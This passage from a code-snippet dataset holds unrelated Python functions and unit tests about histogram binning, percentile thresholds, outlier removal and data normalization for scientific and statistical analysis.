sliced_nd_hist[start:stop].sum()\n quantized_bins[-1] += sliced_nd_hist[num_quantized_bins * num_merged_bins:].sum()\n # expand quantized_bins into p.size bins\n q = np.zeros(p.size, dtype=np.float32)\n for j in range(num_quantized_bins):\n start = j * num_merged_bins\n if j == num_quantized_bins - 1:\n stop = -1\n else:\n stop = start + num_merged_bins\n norm = is_nonzeros[start:stop].sum()\n if norm != 0:\n q[start:stop] = float(quantized_bins[j]) / float(norm)\n q[sliced_nd_hist == 0] = 0\n p = _smooth_distribution(p)\n # There is a chance that q is an invalid probability distribution.\n try:\n q = _smooth_distribution(q)\n except ValueError:\n divergence[i - num_half_quantized_bins] = float(\"inf\")\n else:\n divergence[i - num_half_quantized_bins] = stats.entropy(p, q)\n quantized_bins[:] = 0\n\n min_divergence_idx = np.argmin(divergence)\n min_divergence = divergence[min_divergence_idx]\n opt_th = thresholds[min_divergence_idx]\n return min_val, max_val, min_divergence, opt_th","def test_bins(self):\n\n \n for filename in ['data/population_padang_1.asc', \n 'data/test_grid.asc']: \n \n R = read_coverage(filename)\n \n min, max = R.get_extrema() #use_numeric=True)\n \n for N in [2,3,5,7,10,16]:\n linear_intervals = R.get_bins(N=N, quantiles=False) \n \n assert linear_intervals[0] == min\n assert linear_intervals[-1] == max \n \n d = (max-min)/N\n for i in range(N):\n assert numpy.allclose(linear_intervals[i], min + i*d) \n \n \n quantiles = R.get_bins(N=N, quantiles=True)\n\n A = R.get_data(nan=True).flat[:] \n \n mask = numpy.logical_not(numpy.isnan(A)) # Omit NaN's\n l1 = len(A)\n A = A.compress(mask) \n l2 = len(A)\n \n if filename == 'data/test_grid.asc':\n # Check that NaN's were removed\n \n assert l1 == 35\n assert l2 == 30\n \n \n # Assert that there are no NaN's \n assert not numpy.alltrue(numpy.isnan(A))\n \n number_of_elements = len(A)\n average_elements_per_bin = number_of_elements/N\n \n # Count elements in each bin and check\n\n i0 = quantiles[0]\n for i1 in quantiles[1:]:\n count = numpy.sum((i0 < A) & (A < i1))\n if i0 == quantiles[0]:\n refcount = count\n \n \n if i1 < quantiles[-1]:\n # Number of elements in each bin must vary by no more than 1\n assert abs(count - refcount) <= 1 \n assert abs(count - average_elements_per_bin) <= 3\n \n \n else:\n # The last bin is allowed vary by more\n pass\n \n i0 = i1","def min_max_normalization(\n data: np.ndarray, top: int = 255, floor: bool = True\n) -> np.ndarray:\n # Converting dtype can prevent Overflow Error\n data = data.astype(float)\n\n lmin = data.min()\n lmax = data.max()\n if floor:\n return np.floor((data - lmin) / (lmax - lmin) * top)\n else:\n return (data - lmin) / (lmax - lmin)","def autobin_stats(x,y,n_bins=8,stat='average',n_points=None):\n \n if not ascend(x):\n ix=argsort(x)\n x=take(x,ix)\n y=take(y,ix)\n n=len(x)\n if n_points==None: \n #This throws out some points\n n_points=n/n_bins\n else: \n n_bins=n/n_points\n #if there are more that 2 points in the last bin, add another bin\n if n%n_points>2: n_bins=n_bins+1\n \n if n_points<=1:\n print('Only 1 or less points per bin, output will be sorted input vector with rms==y')\n return x,y\n xb,yb=[],[]\n \n #print 'stat', stat\n if stat=='average' or stat=='mean': func=mean\n elif stat=='median': func=median\n elif stat=='rms' or stat=='std' : func=std\n elif stat=='std_robust' or stat=='rms_robust': func=std_robust\n elif stat=='mean_robust': func=mean_robust\n elif stat=='median_robust': func=median_robust\n elif stat=='p2p': func=p2p # --DC\n elif stat=='min': func=min # --DC\n elif stat=='max': func=max # --DC\n \n for i in range(n_bins):\n xb.append(mean(x[i*n_points:(i+1)*n_points]))\n if func==std and n_points==2:\n print('n_points==2; too few points to determine rms')\n print('Returning abs(y1-y2)/2. in each bin as rms')\n yb.append(abs(y[i*n_points]-y[i*n_points+1])/2.)\n else:\n yb.append(func(y[i*n_points:(i+1)*n_points]))\n if i>2 and xb[-1]==xb[-2]: \n yb[-2]=(yb[-2]+yb[-1])/2.\n xb=xb[:-1]\n yb=yb[:-1]\n return array(xb),array(yb)","def remove_outliers(data):\n upper_boundary = np.quantile(data, 0.992)\n lower_boundary = np.quantile(data, 0.008)\n selection = data[(data > lower_boundary) & (data < upper_boundary)]\n standard_dev = np.std(selection)\n median = np.median(selection)\n data[(median + 4.5 * standard_dev < data) | (data < median - 4.5 * standard_dev)] = median\n return data","def get_bins(val: List[float]) -> List[float]:\n r_min = np.min(val)\n r_max = np.max(val)\n min_bins = 2\n max_bins = 50\n # Calculate bin width using either Freedman-Diaconis or Sturges estimator\n bin_edges = np.histogram_bin_edges(val, bins=\"auto\")\n if len(bin_edges) < min_bins:\n return list(np.linspace(start=r_min, stop=r_max, num=min_bins))\n elif len(bin_edges) <= max_bins:\n return list(bin_edges)\n # Clamp to max_bins by estimating a good bin range to be more robust to outliers\n q75, q25 = np.percentile(val, [75, 25])\n iqr = q75 - q25\n width = 2 * iqr / max_bins\n start = max((q75 + q25) / 2 - iqr, r_min)\n stop = min(start + max_bins * width, r_max)\n # Take the minimum of range and 2x IQR to account for outliers\n edges = list(np.linspace(start=start, stop=stop, num=max_bins))\n prefix = [r_min] if start > r_min else []\n suffix = [r_max] if stop < r_max else []\n return prefix + edges + suffix","def outlier_thresholds(dataframe, col_name, low_quantile, up_quantile):\n quartile1 = dataframe[col_name].quantile(low_quantile)\n quartile3 = dataframe[col_name].quantile(up_quantile)\n interquantile_range = quartile3 - quartile1\n up_limit = quartile3 + 1.5 * interquantile_range\n low_limit = quartile1 - 1.5 * interquantile_range\n return low_limit, up_limit","def bin_data(y, num_bins, std_away):\n mean = np.mean(y)\n std = np.std(y)\n pitch_shifts = np.arange(-num_bins, num_bins + 1)\n thresholds = (std * std_away) * pitch_shifts + mean\n\n result = []\n for point in y:\n if point < thresholds[0]:\n result.append(pitch_shifts[0] - 1)\n elif point > thresholds[-1]:\n result.append(pitch_shifts[-1] + 1)\n else:\n for i in range(len(thresholds) - 1):\n if point >= thresholds[i] and point < thresholds[i + 1]:\n result.append(i - num_bins)\n return np.array(result)","def window_standardize(img, lower_bound, upper_bound):\n img = np.clip(img, lower_bound, upper_bound)\n # x=x*2-1: map x to [-1,1]\n img = 2 * (img - lower_bound) / (upper_bound - lower_bound) - 1\n return img","def get_weighted_bins(data_df, x_key = 'ecc', y_key = 'size', weight_key = 'rsq', n_bins = 10):\n \n # sort values by eccentricity\n data_df = data_df.sort_values(by=[x_key])\n\n #divide in equally sized bins\n bin_size = int(len(data_df)/n_bins) \n \n mean_x = []\n mean_x_std = []\n mean_y = []\n mean_y_std = []\n \n # for each bin calculate rsq-weighted means and errors of binned ecc/gain \n for j in range(n_bins): \n \n mean_x.append(weightstats.DescrStatsW(data_df[bin_size * j:bin_size * (j+1)][x_key],\n weights = data_df[bin_size * j:bin_size * (j+1)][weight_key]).mean)\n mean_x_std.append(weightstats.DescrStatsW(data_df[bin_size * j:bin_size * (j+1)][x_key],\n weights = data_df[bin_size * j:bin_size * (j+1)][weight_key]).std_mean)\n\n mean_y.append(weightstats.DescrStatsW(data_df[bin_size * j:bin_size * (j+1)][y_key],\n weights = data_df[bin_size * j:bin_size*(j+1)][weight_key]).mean)\n mean_y_std.append(weightstats.DescrStatsW(data_df[bin_size * j:bin_size * (j+1)][y_key],\n weights = data_df[bin_size * j:bin_size * (j+1)][weight_key]).std_mean)\n\n return mean_x, mean_x_std, mean_y, mean_y_std","def find_outlier_range(dfs: pd.Series, iqr_factor=1.5, clip_low=None, clip_high=None):\n quant1 = dfs.quantile(0.25)\n quant3 = dfs.quantile(0.75)\n IQR = quant3 - quant1\n low = quant1 - iqr_factor * IQR\n high = quant3 + iqr_factor * IQR\n\n if clip_low is not None:\n low = max(clip_low, low)\n if clip_high is not None:\n high = min(clip_high, high)\n return (low, high)","def remove_outliers(lst):\n slst = sorted(lst)\n three_iqr = 3 * get_IQR(lst)\n low_boundary = float(np.percentile(lst, 25)) - three_iqr\n high_boundary = float(np.percentile(lst, 75)) + three_iqr\n\n return filter(lambda x: x >= low_boundary and x <= high_boundary, slst)","def test_bins(self):\n\n for filename in ['%s/population_padang_1.asc' % TESTDATA,\n '%s/test_grid.asc' % TESTDATA]:\n\n R = read_layer(filename)\n rmin, rmax = R.get_extrema()\n\n for N in [2, 3, 5, 7, 10, 16]:\n linear_intervals = R.get_bins(N=N, quantiles=False)\n\n assert linear_intervals[0] == rmin\n assert linear_intervals[-1] == rmax\n\n d = (rmax - rmin) / N\n for i in range(N):\n assert numpy.allclose(linear_intervals[i], rmin + i * d)\n\n quantiles = R.get_bins(N=N, quantiles=True)\n A = R.get_data(nan=True).flat[:]\n\n mask = numpy.logical_not(numpy.isnan(A)) # Omit NaN's\n l1 = len(A)\n A = A.compress(mask)\n l2 = len(A)\n\n if filename == '%s/test_grid.asc' % TESTDATA:\n # Check that NaN's were removed\n assert l1 == 35\n assert l2 == 30\n\n # Assert that there are no NaN's\n assert not numpy.alltrue(numpy.isnan(A))\n\n number_of_elements = len(A)\n average_elements_per_bin = number_of_elements / N\n\n # Count elements in each bin and check\n i0 = quantiles[0]\n for i1 in quantiles[1:]:\n count = numpy.sum((i0 < A) & (A < i1))\n if i0 == quantiles[0]:\n refcount = count\n\n if i1 < quantiles[-1]:\n # Number of elements in each bin must vary by no\n # more than 1\n assert abs(count - refcount) <= 1\n assert abs(count - average_elements_per_bin) <= 3\n else:\n # The last bin is allowed vary by more\n pass\n\n i0 = i1","def test_range_argument_ignored(self):\n bins_range = (1, 2)\n\n bin_edges, hist, _, _ = hist_w_unc(\n self.input,\n bins=self.bin_edges,\n bins_range=bins_range,\n normed=False,\n )\n\n # check if we end up with the same bin edges anyway\n np.testing.assert_array_almost_equal(self.bin_edges, bin_edges)\n np.testing.assert_array_almost_equal(self.hist, hist)","def get_continuum_in_range(w,s,low_low, low_high, high_low, high_high,\n pmin=12,pmax=88, only_correct_negative_values = False,\n fit_degree=2, plot = True, verbose = True, warnings=True) :\n s_low = s[np.where((w <= low_low))] \n s_high = s[np.where((w >= high_high))] \n \n w_fit = w[np.where((w > low_low) & (w < high_high))]\n w_fit_low = w[np.where((w > low_low) & (w < low_high))]\n w_fit_high = w[np.where((w > high_low) & (w < high_high))]\n\n y_fit = s[np.where((w > low_low) & (w < high_high))]\n y_fit_low = s[np.where((w > low_low) & (w < low_high))]\n y_fit_high = s[np.where((w > high_low) & (w < high_high))]\n\n # Remove outliers\n median_y_fit_low = np.nanmedian(y_fit_low)\n for i in range(len(y_fit_low)):\n if np.nanpercentile(y_fit_low,2) > y_fit_low[i] or y_fit_low[i] > np.nanpercentile(y_fit_low,98): y_fit_low[i] =median_y_fit_low\n\n median_y_fit_high = np.nanmedian(y_fit_high)\n for i in range(len(y_fit_high)):\n if np.nanpercentile(y_fit_high,2) > y_fit_high[i] or y_fit_high[i] > np.nanpercentile(y_fit_high,98): y_fit_high[i] =median_y_fit_high\n \n w_fit_cont = np.concatenate((w_fit_low,w_fit_high))\n y_fit_cont = np.concatenate((y_fit_low,y_fit_high))\n \n try:\n fit = np.polyfit(w_fit_cont,y_fit_cont, fit_degree)\n yfit = np.poly1d(fit)\n y_fitted = yfit(w_fit)\n \n y_fitted_low = yfit(w_fit_low)\n median_low = np.nanmedian(y_fit_low-y_fitted_low)\n rms=[]\n for i in range(len(y_fit_low)):\n rms.append(y_fit_low[i]-y_fitted_low[i]-median_low)\n \n # rms=y_fit-y_fitted\n lowlimit=np.nanpercentile(rms,pmin)\n highlimit=np.nanpercentile(rms,pmax)\n \n corrected_s_ =copy.deepcopy(y_fit)\n for i in range(len(w_fit)):\n if w_fit[i] >= low_high and w_fit[i] <= high_low: # ONLY CORRECT in [low_high,high_low] \n if only_correct_negative_values:\n if y_fit[i] <= 0 : \n corrected_s_[i] = y_fitted[i]\n else:\n if y_fit[i]-y_fitted[i] <= lowlimit or y_fit[i]-y_fitted[i] >= highlimit: corrected_s_[i] = y_fitted[i]\n \n \n corrected_s = np.concatenate((s_low,corrected_s_))\n corrected_s = np.concatenate((corrected_s,s_high))\n \n \n if plot:\n ptitle = \"CorrectionBase in range \"+np.str(np.round(low_low,2))+\" - [ \"+np.str(np.round(low_high,2))+\" - \"+np.str(np.round(high_low,2))+\" ] - \"+np.str(np.round(high_high,2))\n plot_plot(w_fit,[y_fit,y_fitted,y_fitted-highlimit,y_fitted-lowlimit,corrected_s_], color=[\"r\",\"b\", \"black\",\"black\",\"green\"], alpha=[0.3,0.7,0.2,0.2,0.5],xmin=low_low-40, xmax=high_high+40,vlines=[low_low,low_high,high_low,high_high],ptitle=ptitle, ylabel=\"Normalized flux\") \n #plot_plot(w,[s,corrected_s],xmin=low_low-40, xmax=high_high+40,vlines=[low_low,low_high,high_low,high_high])\n except Exception:\n if warnings: print(\" Fitting the continuum failed! Nothing done.\")\n corrected_s = s\n\n return corrected_s","def all_bucket_boundaries(self):\n\n lower = self._lower_bounds[0]\n for i in xrange(1, self.total_buckets):\n upper = self._lower_bounds[i]\n yield (lower, upper)\n lower = upper\n\n yield (lower, float('Inf'))","def _bound(x, min_value, max_value):\n return np.maximum(min_value, np.minimum(x, max_value))","def createDecile(resp:pd.Series,score:pd.Series,buckets:int=10) -> pd.DataFrame: \n \n input_df=pd.DataFrame({'target_1':resp,'score':score}) \n input_df['target_0'] = 1-input_df['target_1'] \n input_df['decile'] = pd.qcut(input_df['score'],buckets,duplicates='drop')\n binned_df = input_df.groupby('decile', as_index = False)\n \n aggregated_df = pd.DataFrame()\n aggregated_df['min_score'] = binned_df.min().score.apply('{0:.3f}'.format)\n aggregated_df['max_score'] = binned_df.max().score.apply('{0:.3f}'.format)\n aggregated_df['target_1'] = binned_df.sum().target_1\n aggregated_df['target_0'] = binned_df.sum().target_0\n aggregated_df['total'] = (aggregated_df['target_1'] + aggregated_df['target_0'])\n aggregated_df['target_1_ratio'] = (aggregated_df['target_1'] / aggregated_df['total']).apply('{0:.1%}'.format)\n aggregated_df['mean_score'] = binned_df.mean().score.apply('{0:.3f}'.format) \n \n sorted_df = (aggregated_df.sort_values(by = 'max_score', ascending = False)).reset_index(drop = True)\n sorted_df['gain'] = (sorted_df['target_1'].cumsum()/sorted_df['target_1'].sum()).apply('{0:.1%}'.format)\n sorted_df['lift'] = ((sorted_df['target_1']/sorted_df.total)/(sorted_df['target_1'].sum()/sorted_df.total.sum())).apply('{0:.2f}'.format)\n sorted_df['KS'] = np.round(((sorted_df['target_1'] / sorted_df['target_1'].sum()).cumsum() - (sorted_df['target_0'] / sorted_df['target_0'].sum()).cumsum()), 4) * 100\n \n mark = lambda x: '◄─ ' if x == sorted_df.KS.max() else ''\n sorted_df['max_KS'] = sorted_df.KS.apply(mark)\n sorted_df.index +=1\n \n return sorted_df","def bin_medscat(x, y, percentiles=[5,50,95], for_errorbar_plot=False, dropna=True, bins=\"auto\", **kwargs):\n if dropna: x, y = get_finite(x, y)\n h, xe = np.histogram(x, bins=bins, **kwargs)\n xout = (xe[1:]+xe[:-1])/2.\n indices = np.digitize(x, xe)\n yout = np.zeros((len(xe)-1,len(percentiles)))+np.nan\n for ix in np.unique(indices):\n # Skip things outside the bin range\n if ix >= len(yout): continue\n # Percentile in this bin\n ii = ix==indices\n yout[ix,:] = np.percentile(y[ii], percentiles)\n if for_errorbar_plot:\n e1 = yout[:,1] - yout[:,0]\n e2 = yout[:,2] - yout[:,1]\n return xout, yout[:,1], [e1,e2]\n return xout, yout","def test_under_overflow_values(self):\n values_with_inf = np.array([-1, 1, 2, 100, np.inf])\n\n with self.subTest(\"Under/overflow values without under/overflow bins.\"):\n bins, hist, _, _ = hist_w_unc(values_with_inf, bins=5, bins_range=(0, 5))\n np.testing.assert_almost_equal(bins, np.linspace(0, 5, 6))\n # in this case only 40% of the values are shown in the plot\n np.testing.assert_almost_equal(hist, np.array([0, 0.2, 0.2, 0, 0]))\n\n with self.subTest(\"Under/overflow values with under/overflow bins.\"):\n bins, hist, _, _ = hist_w_unc(\n values_with_inf, bins=5, bins_range=(0, 5), underoverflow=True\n )\n np.testing.assert_almost_equal(bins, np.linspace(0, 5, 6))\n np.testing.assert_almost_equal(hist, np.array([0.2, 0.2, 0.2, 0, 0.4]))","def split_into_classes(self, bounds=None, percentile=95):\n\n if self._sample_storage is not None:\n occr = self.volumise_occr(self._sample_storage)\n moccr = self.marginalise_occr_period(self._sample_storage)\n else:\n raise AttributeError(\"No stored samples found.\")\n\n if bounds is None:\n bounds = []\n for b in [1.25, 2.25, 3.75, 5.75]:\n if b in self._R_boundaries:\n bounds.append(b)\n for b in [1.0, 2.0, 4.0, 6.0]:\n if b in self._R_boundaries:\n bounds.append(b)\n\n bound_pairs = []\n bound_args = []\n\n for i in range(len(bounds) - 1):\n bound_pairs.append([bounds[i], bounds[i+1]])\n bound_args.append(\n [np.argwhere(self._R_boundaries == bound_pairs[-1][0])[0, 0],\n np.argwhere(self._R_boundaries == bound_pairs[-1][1])[0, 0]])\n\n if pd.isnull(bound_args[-1]).any():\n raise ValueError(\"Boundary not found; given: {}, found:{}\"\n \"\".format(bound_pairs[-1], bound_args[-1]))\n\n # Add two more bound pairs\n if 1.5 in self._R_boundaries:\n bound_pairs.append([1.5, 2.0])\n bound_args.append(\n [np.argwhere(self._R_boundaries == 1.5)[0, 0],\n np.argwhere(self._R_boundaries == 2.0)[0, 0]])\n bound_pairs.append([1.5, 4.0])\n bound_args.append(\n [np.argwhere(self._R_boundaries == 1.5)[0, 0],\n np.argwhere(self._R_boundaries == 4.0)[0, 0]])\n\n bound_pairs.append([bound_pairs[0][0], bound_pairs[1][1]])\n bound_args.append([bound_args[0][0], bound_args[1][1]])\n\n # period_pairs = []\n # for i in range(len(self._P_boundaries) - 1):\n period_pairs = self.occr_p_names\n\n full_df = pd.DataFrame(index=range(np.shape(moccr)[0]))\n #split_df = pd.DataFrame()\n # columns=[\"{}-{}\".format(*bp) for bp in bound_pairs])\n\n for i, ((b1, b2), (a1, a2)) in enumerate(zip(bound_pairs, bound_args)):\n full_df[\"{}-{}\".format(b1, b2)] = moccr[:, a1:a2].sum(axis=-1)\n\n full_df = full_df.describe(percentiles=[0.16, 0.50, 0.84,\n 0.25, 0.75, 0.95])\n\n for i, ((b1, b2), (a1, a2)) in enumerate(zip(bound_pairs, bound_args)):\n int_occr = occr[:, a1:a2, :].sum(axis=1)\n\n for j, pp in enumerate(period_pairs):\n ulim = np.percentile(int_occr[:,j], percentile)\n full_df.loc[pp, \"{}-{}\".format(b1, b2)] = ulim\n\n # The med+-sig rate at the planet discovery\n if len(self.occr_p_names) > 1:\n for i, ((b1, b2), (a1, a2)) in enumerate(zip(bound_pairs,\n bound_args)):\n int_occr = occr[:, a1:a2, :].sum(axis=1)\n\n j = 0\n for check_P in self._P_boundaries[1:]:\n if check_P > 3.49:\n break\n else:\n j += 1\n\n pp = 'mean: ' + self.occr_p_names[j]\n\n # try:\n # j = np.argwhere(\n # np.isclose(self._P_boundaries, 5, atol=0.001))[0,0] - 1\n # pp = 'mean' + self.occr_p_names[j]\n # except IndexError:\n # continue\n\n med = np.percentile(int_occr[:,j], 50)\n low = np.percentile(int_occr[:,j], 16)\n hi = np.percentile(int_occr[:,j], 84)\n\n full_df.loc[pp, '{}-{}'.format(b1, b2)] = \\\n \"{:.3g}-{:.3g}+{:.3g}\".format(med, med-low, hi-med) \n\n\n #full_df = pd.concat([full_df, split_df])\n\n return full_df","def rebin (self, bins, tol=1e-4):\n\n bins = np.copy (np.sort (bins))\n for (i, b) in enumerate (bins):\n misses = np.abs (b - self.bins)\n j = np.argmin (misses)\n closest = np.min (misses)\n if closest > tol:\n raise ValueError (\n '{0} is not among current bin edges'.format (b))\n bins[i] = self.bins[j]\n if bins[0] != self.bins[0]:\n raise ValueError (\n 'binning startpoint should match ({0} vs {1})'.format (\n bins[0], self.bins[0]))\n if bins[-1] != self.bins[-1]:\n raise ValueError (\n 'binning endpoint should match ({0} vs {1})'.format (\n bins[-1], self.bins[-1]))\n\n n_newbins = len (bins) - 1\n newbin_indices = np.digitize (self.bins, bins)[:-1] - 1\n values = np.array ([\n np.sum (self.values[newbin_indices == i])\n for i in range (n_newbins)\n ])\n if self.errors is not None:\n errors = np.array ([\n np.sqrt (np.sum (self.errors[newbin_indices == i]**2))\n for i in range (n_newbins)\n ])\n else:\n errors = None\n return Hist (bins, values, errors)","def get_bucket_boundaries(feature):\n return np.unique(np.percentile(feature, range(0, 100))).tolist()","def set_bin_(data, bin_num, scale=100.):\n temp_data = -numpy.sort(-numpy.abs(data))\n\n bin_size = len(temp_data) / bin_num * 2\n bins = numpy.array([temp_data[int(i * bin_size)] for i in range(1, int(bin_num / 2))])\n bins = numpy.sort(numpy.append(numpy.append(-bins, [0.]), bins))\n bound = numpy.max(numpy.abs(data)) * scale\n bins = numpy.sort(numpy.append(-bound, numpy.append(bins, bound)))\n return bins","def test_range_argument(self):\n # we test with range from 0 to 2, with 3 bins -> [0, 0.66, 1.33, 2] exp. bins\n bins_range = (0, 2)\n bins_exp = np.array([0, 2 / 3, 1 + 1 / 3, 2])\n hist_exp = np.array([1, 2, 0])\n\n bin_edges, hist, _, _ = hist_w_unc(\n self.input,\n bins=self.n_bins,\n bins_range=bins_range,\n normed=False,\n )\n\n # check if we end up with the same bin edges anyway\n np.testing.assert_array_almost_equal(bins_exp, bin_edges)\n np.testing.assert_array_almost_equal(hist_exp, hist)","def remove_out_of_bounds(self, data, low_bound, high_bound):\n data = data.dropna()\n data = data[(data > low_bound).all(axis=1) & (data < high_bound).all(axis=1)] \n return data","def _find_limits(hist, treated, untreated):\n # Treated Sample\n # Set the lowest frequency observed in the treated subsample\n # as the default for the lower limit of the common support\n lower_limit = np.min(treated)\n\n # The following algorithm checks for any empty histogram bins\n # (starting from 0 going up to 0.5).\n # If an empty histogram bin is found, the lower_limit is set to\n # the corresponding P(Z) value of the next bin above.\n for low in range(len(hist[0][0])):\n\n # Only consider values in the interval [0, 0.5)\n if hist[1][low] > 0.5:\n break\n\n # If the algorithm starts below the sample minimum,\n # move on to the next bin\n elif hist[1][low] < np.min(treated):\n continue\n\n else:\n # If the current bin is non-empty, we have still continuous\n # support and the sample minimum remains our lower limit\n if hist[0][0][low] > 0:\n pass\n\n # If an empty bin is found, set the lower limit to the next bin above\n # and move on to the next bin until P(Z) = 0.5 is reached\n else:\n lower_limit = hist[1][low + 1]\n\n # Untreated Sample\n # Set the highest frequency observed in the untreated subsample\n # as the default for the upper limit of the common support\n upper_limit = np.max(untreated)\n\n # The following algorithm checks for any empty histogram bins\n # (starting from 1 going down to 0.5).\n # If an empty histogram bin is found, the upper_limit is set to the\n # current next bin.\n for up in reversed(range(len(hist[0][1]))):\n\n # Only consider values in the interval (0.5, 1]\n if hist[1][up] < 0.5:\n break\n\n # If the algorithm starts above the sample maximum, move on to the next bin\n elif hist[1][up] > np.max(untreated):\n continue\n\n else:\n # If the current bin is non-empty, we have still continuous support and\n # the sample maximum remains our upper limit\n if hist[0][1][up] > 0:\n pass\n\n # If an empty bin is found, set the upper limit to the next bin below\n # and move on to the next bin until P(Z) = 0.5 is reached\n else:\n upper_limit = hist[1][up]\n\n return lower_limit, upper_limit","def histogram(hist_data, bins, minimum, maximum):\r\n hist_data2 = [x for x in hist_data if x <= maximum and x >= minimum]\r\n y, x = np.histogram(hist_data2, bins=bins)\r\n x_new = [((x[i] + x[i - 1]) / 2) for i in range(1, len(x))]\r\n max_freq = max(y)\r\n mean = x_new[y.argmax()]\r\n sigma = (x[1] - x[0]) * 4\r\n\r\n gauss = models.GaussianModel()\r\n fit = gauss.fit(y, x=x_new, center = mean, amplitude = max_freq, sigma = sigma, nan_policy= 'omit')\r\n\r\n return x, y, x_new, fit.best_fit","def normalize(slice, bottom=99, down=1):\n #有点像“去掉最低分去掉最高分”的意思,使得数据集更加“公平”\n b = np.percentile(slice, bottom)\n t = np.percentile(slice, down)\n slice = np.clip(slice, t, b) #限定范围numpy.clip(a, a_min, a_max, out=None)\n\n #除了黑色背景外的区域要进行标准化\n image_nonzero = slice[np.nonzero(slice)]\n if np.std(slice) == 0 or np.std(image_nonzero) == 0:\n return slice\n else:\n tmp = (slice - np.mean(image_nonzero)) / np.std(image_nonzero)\n # since the range of intensities is between 0 and 5000 ,\n # the min in the normalized slice corresponds to 0 intensity in unnormalized slice\n # the min is replaced with -9 just to keep track of 0 intensities\n # so that we can discard those intensities afterwards when sampling random patches\n tmp[tmp == tmp.min()] = -9 #黑色背景区域\n return tmp","def test_set_clip_precentile(self):\n data = np.array([[1., 2., 3.], [1., 2., 3.]])\n self.mode.set_clip_percentile(10, 90)\n result = self.mode.get_bounds(data)\n np.testing.assert_array_almost_equal(result,\n np.percentile(data, [10, 90]))","def normalize_range(array, floor=0, ceil=1):\n scaler = MinMaxScaler(feature_range=(floor, ceil), copy=True)\n return scaler.fit_transform(array)","def remove_outliers(self, data, min_p= 25, max_p= 75, cut= '', skewed= False):\n data_c = [ d for d in data if d ]\n q25, q75 = np.nanpercentile(data_c, min_p), np.nanpercentile(data_c, max_p)\n cut_off = (q75 - q25) * cut\n lower, upper = q25-cut_off, q75+cut_off\n\n if skewed==True:\n q50 = np.nanpercentile(data_c, 50)\n lower , upper = q25-(q50-q25)*cut , q75+(q75-q50)*cut\n\n median = np.nanmedian(data_c)\n cleaned, outliers = [],[]\n\n for d in np.asarray(data):\n if d >= lower and d <= upper:\n cleaned.append(d)\n outliers.append(np.nan)\n elif np.isnan(d):\n cleaned.append(np.nan)\n outliers.append(np.nan)\n else:\n cleaned.append(np.nan)\n outliers.append(d)\n return cleaned, outliers, lower, upper, median","def test_pandas_bins(self):\n # Load the data from the fixture\n data = load_occupancy(return_dataset=True)\n X, y = data.to_pandas()\n\n visualizer = BalancedBinningReference()\n visualizer.fit(y)\n visualizer.finalize()\n self.assert_images_similar(visualizer, tol=0.5)","def best_fit_distribution(data, bins=200):\n # Get histogram of original data\n y, x = np.histogram(data, bins=bins, density=True)\n x = (x + np.roll(x, -1))[:-1] / 2.0\n\n # Distributions to check\n DISTRIBUTIONS = [ \n st.alpha,st.anglit,st.arcsine,st.beta,st.betaprime,st.bradford,st.burr,st.cauchy,st.chi,st.chi2,st.cosine,\n st.dgamma,st.dweibull,st.erlang,st.expon,st.exponnorm,st.exponweib,st.exponpow,st.f,st.fatiguelife,st.fisk,\n st.foldcauchy,st.foldnorm,st.frechet_r,st.frechet_l,st.genlogistic,st.genpareto,st.gennorm,st.genexpon,\n st.genextreme,st.gausshyper,st.gamma,st.gengamma,st.genhalflogistic,st.gilbrat,st.gompertz,st.gumbel_r,\n st.gumbel_l,st.halfcauchy,st.halflogistic,st.halfnorm,st.halfgennorm,st.hypsecant,st.invgamma,st.invgauss,\n st.invweibull,st.johnsonsb,st.johnsonsu,st.ksone,st.kstwobign,st.laplace,st.levy,st.levy_l,st.levy_stable,\n st.logistic,st.loggamma,st.loglaplace,st.lognorm,st.lomax,st.maxwell,st.mielke,st.nakagami,st.ncx2,st.ncf,\n st.nct,st.norm,st.pareto,st.pearson3,st.powerlaw,st.powerlognorm,st.powernorm,st.rdist,st.reciprocal,\n st.rayleigh,st.rice,st.recipinvgauss,st.semicircular,st.t,st.triang,st.truncexpon,st.truncnorm,st.tukeylambda,\n st.uniform,st.vonmises,st.vonmises_line,st.wald,st.weibull_min,st.weibull_max,st.wrapcauchy\n ]\n\n # Best holders\n best_distribution = st.norm\n best_params = (0.0, 1.0)\n best_sse = np.inf\n\n # Estimate distribution parameters from data\n for distribution in DISTRIBUTIONS:\n\n # Try to fit the distribution\n try:\n # Ignore warnings from data that can't be fit\n with warnings.catch_warnings():\n warnings.filterwarnings('ignore')\n\n # fit dist to data\n params = distribution.fit(data)\n\n # Separate parts of parameters\n arg = params[:-2]\n loc = params[-2]\n scale = params[-1]\n\n # Calculate fitted PDF and error with fit in distribution\n pdf = distribution.pdf(x, loc=loc, scale=scale, *arg)\n sse = np.sum(np.power(y - pdf, 2.0))\n\n # identify if this distribution is better\n if best_sse > sse > 0:\n best_distribution = distribution\n best_params = params\n best_sse = sse\n\n except Exception:\n pass\n\n return (best_distribution.name, best_params)","def find_thresholds(vol, mask, use_mask=True):\n hist_bins = 1000\n hist = np.zeros(hist_bins, dtype=int)\n max_jumps = 10\n top_bin = 0\n bottom_bin = 0\n count = 0\n jump = 1\n lowest_bin = 0\n highest_bin = hist_bins-1\n validsize = 0\n\n thresh98 = float(0)\n thresh2 = float(0)\n mini = float(0)\n maxi = float(0)\n\n if use_mask:\n mini = vol[mask > 0].min()\n maxi = vol[mask > 0].max()\n else:\n mini = vol.min()\n maxi = vol.max()\n\n while jump == 1 or ((float(thresh98) - thresh2) < (maxi - mini)/10.):\n if jump > 1:\n bottom_bin = max(bottom_bin-1, 0)\n top_bin = min(top_bin +1, hist_bins-1)\n\n tmpmin = mini + (float(bottom_bin)/float(hist_bins)) * (maxi-mini)\n maxi = mini + (float(top_bin+1) /float(hist_bins)) * (maxi-mini)\n mini = tmpmin\n\n if jump == max_jumps or mini == maxi:\n if use_mask:\n mini = vol[mask > 0].min()\n maxi = vol[mask > 0].max()\n else:\n mini = vol.min()\n maxi = vol.max()\n\n hist, validsize = find_histogram(vol, hist, mini, maxi,\n mask, use_mask)\n\n if validsize < 1:\n thresh2 = mini\n minval = mini\n thresh98 = maxi\n maxval = maxi\n return minval, maxval\n\n if jump == max_jumps:\n validsize -= np.round(hist[lowest_bin]) + np.round(hist[highest_bin])\n lowest_bin += 1\n highest_bin -= 1\n\n if validsize < 0:\n thresh2 = mini\n thresh98 = mini\n\n fA = (maxi-mini)/float(hist_bins)\n\n count = 0\n bottom_bin = lowest_bin\n while count < float(validsize)/50:\n count += np.round(hist[bottom_bin])\n bottom_bin += 1\n bottom_bin -= 1\n thresh2 = mini + float(bottom_bin) * fA\n\n count = 0\n top_bin = highest_bin\n while count < 